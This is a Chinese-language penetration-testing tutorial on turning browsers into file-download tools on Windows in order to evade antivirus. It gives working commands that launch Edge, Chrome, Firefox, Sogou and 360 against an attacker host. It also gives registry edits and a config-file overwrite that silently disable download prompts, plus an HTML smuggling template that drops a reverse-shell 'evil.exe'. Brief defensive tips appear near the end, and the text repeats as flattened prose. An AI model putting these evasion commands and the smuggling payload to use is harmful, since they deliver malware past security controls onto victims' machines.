利用浏览器进行文件下载的探索
字数 1177 2025-08-24 07:48:10

利用浏览器进行文件下载的技术探索

前言

在Windows主机渗透测试中,文件下载是常见需求。传统方法如certutil、powershell、bitsadmin等由于滥用已被杀软标记。浏览器作为具有合法签名的应用程序,其下载功能通常被安全软件视为正常行为,因此可以作为Living Off the Land Binaries (LOLBins)的有效替代方案。

常见浏览器下载方法

基本命令格式

对于已安装并添加到环境变量的浏览器,可直接使用以下命令:

start msedge http://192.168.1.1:19900/demo.rar
start firefox http://192.168.1.1:19900/demo.rar
start chrome http://192.168.1.1:19900/demo.rar

特点

  • 默认情况下会直接下载文件(取决于文件类型)
  • 需要浏览器已安装并添加到环境变量

国内浏览器下载方法

搜狗浏览器

  1. 基本命令

    start "C:\Program Files (x86)\Sogou\SogouExplorer\SogouExplorer.exe" http://192.168.1.1:19900/demo.rar
    
    • 默认会弹出下载确认框
  2. 静默下载配置
    通过修改注册表实现静默下载:

    reg add "HKCU\Software\Sogou\SogouExplorer\Downloader\Download" /v DirectDownload /t REG_DWORD /d 0x1 /f
    reg add "HKCU\Software\Sogou\SogouExplorer\Common" /v SlienceDownloadEnabled /t REG_DWORD /d 0x1 /f
    
    • 关键注册表项:
      • HKCU\Software\Sogou\SogouExplorer\Common\SlienceDownloadEnabled
      • HKCU\Software\Sogou\SogouExplorer\Downloader\Download\DirectDownload
    • 值为1表示启用静默下载
  3. 完整静默下载命令

    reg add "HKCU\Software\Sogou\SogouExplorer\Downloader\Download" /v DirectDownload /t REG_DWORD /d 0x1 /f
    reg add "HKCU\Software\Sogou\SogouExplorer\Common" /v SlienceDownloadEnabled /t REG_DWORD /d 0x1 /f
    start "C:\Program Files (x86)\Sogou\SogouExplorer\SogouExplorer.exe" http://192.168.1.1:19900/demo.rar
    

360安全浏览器

  1. 基本命令

    start "C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe" http://192.168.111.1/123.rar
    
    • 默认会弹出下载确认框
  2. 静默下载配置
    通过修改配置文件实现静默下载:

    • 配置文件路径:C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences
    • 关键参数:prompt_for_download(false表示不弹出确认框)
  3. 配置检查与修改

    :: 检查当前配置
    type "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences" | findstr prompt_for_download
    
    :: 修改配置
    echo {"download":{"intro_suda_show":true,"prompt_for_download":false}} > "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences"
    
  4. 完整静默下载命令

    echo {"download":{"intro_suda_show":true,"prompt_for_download":false}} > "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences"
    start "C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe" http://192.168.111.1/123.rar
    

高级技巧:HTML Smuggling

为避免下载可执行文件被流量设备检测,可使用HTML Smuggling技术,将payload隐藏在HTML页面中。

示例代码

<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
    var binary_string = window.atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array(len);
    for (var i = 0; i < len; i++) {
        bytes[i] = binary_string.charCodeAt(i);
    }
    return bytes.buffer;
}

// 32bit simple reverse shell
var file = ''; // Base64编码的文件内容
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'evil.exe';

if (window.navigator.msSaveOrOpenBlob) {
    window.navigator.msSaveOrOpenBlob(blob, fileName);
} else {
    var a = document.createElement('a');
    document.body.appendChild(a);
    a.style = 'display: none';
    var url = window.URL.createObjectURL(blob);
    a.href = url;
    a.download = fileName;
    a.click();
    window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>

特点

  • 从外部看只是访问HTML页面
  • 文件内容以Base64形式嵌入
  • 在客户端通过JavaScript重建文件并触发下载
  • 可绕过基于文件扩展名的检测

总结

  1. 浏览器选择

    • 优先使用系统常见浏览器(Edge、Chrome、Firefox)
    • 国内环境可考虑搜狗、360等浏览器
  2. 静默下载实现

    • 搜狗浏览器:修改注册表
    • 360浏览器:修改配置文件
    • 其他浏览器:可通过类似方法分析其配置存储方式
  3. 隐蔽性增强

    • 使用压缩包等常见文件类型
    • 考虑使用HTML Smuggling技术
    • 避免直接下载可执行文件
  4. 防御建议

    • 监控浏览器异常下载行为
    • 关注注册表和配置文件的异常修改
    • 对HTML文件中的可疑JavaScript代码保持警惕

通过合理利用浏览器的下载功能,可以在一定程度上绕过安全软件的检测,实现文件的隐蔽下载。在实际应用中,需要根据目标环境选择合适的浏览器和下载方式,并结合其他技术提高攻击的隐蔽性。

利用浏览器进行文件下载的技术探索 前言 在Windows主机渗透测试中,文件下载是常见需求。传统方法如certutil、powershell、bitsadmin等由于滥用已被杀软标记。浏览器作为具有合法签名的应用程序,其下载功能通常被安全软件视为正常行为,因此可以作为Living Off the Land Binaries (LOLBins)的有效替代方案。 常见浏览器下载方法 基本命令格式 对于已安装并添加到环境变量的浏览器,可直接使用以下命令: 特点 : 默认情况下会直接下载文件(取决于文件类型) 需要浏览器已安装并添加到环境变量 国内浏览器下载方法 搜狗浏览器 基本命令 : 默认会弹出下载确认框 静默下载配置 : 通过修改注册表实现静默下载: 关键注册表项: HKCU\Software\Sogou\SogouExplorer\Common\SlienceDownloadEnabled HKCU\Software\Sogou\SogouExplorer\Downloader\Download\DirectDownload 值为1表示启用静默下载 完整静默下载命令 : 360安全浏览器 基本命令 : 默认会弹出下载确认框 静默下载配置 : 通过修改配置文件实现静默下载: 配置文件路径: C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences 关键参数: prompt_for_download (false表示不弹出确认框) 配置检查与修改 : 完整静默下载命令 : 高级技巧:HTML Smuggling 为避免下载可执行文件被流量设备检测,可使用HTML Smuggling技术,将payload隐藏在HTML页面中。 示例代码 特点 : 从外部看只是访问HTML页面 文件内容以Base64形式嵌入 在客户端通过JavaScript重建文件并触发下载 可绕过基于文件扩展名的检测 总结 浏览器选择 : 优先使用系统常见浏览器(Edge、Chrome、Firefox) 国内环境可考虑搜狗、360等浏览器 静默下载实现 : 搜狗浏览器:修改注册表 360浏览器:修改配置文件 其他浏览器:可通过类似方法分析其配置存储方式 隐蔽性增强 : 使用压缩包等常见文件类型 考虑使用HTML Smuggling技术 避免直接下载可执行文件 防御建议 : 监控浏览器异常下载行为 关注注册表和配置文件的异常修改 对HTML文件中的可疑JavaScript代码保持警惕 通过合理利用浏览器的下载功能,可以在一定程度上绕过安全软件的检测,实现文件的隐蔽下载。在实际应用中,需要根据目标环境选择合适的浏览器和下载方式,并结合其他技术提高攻击的隐蔽性。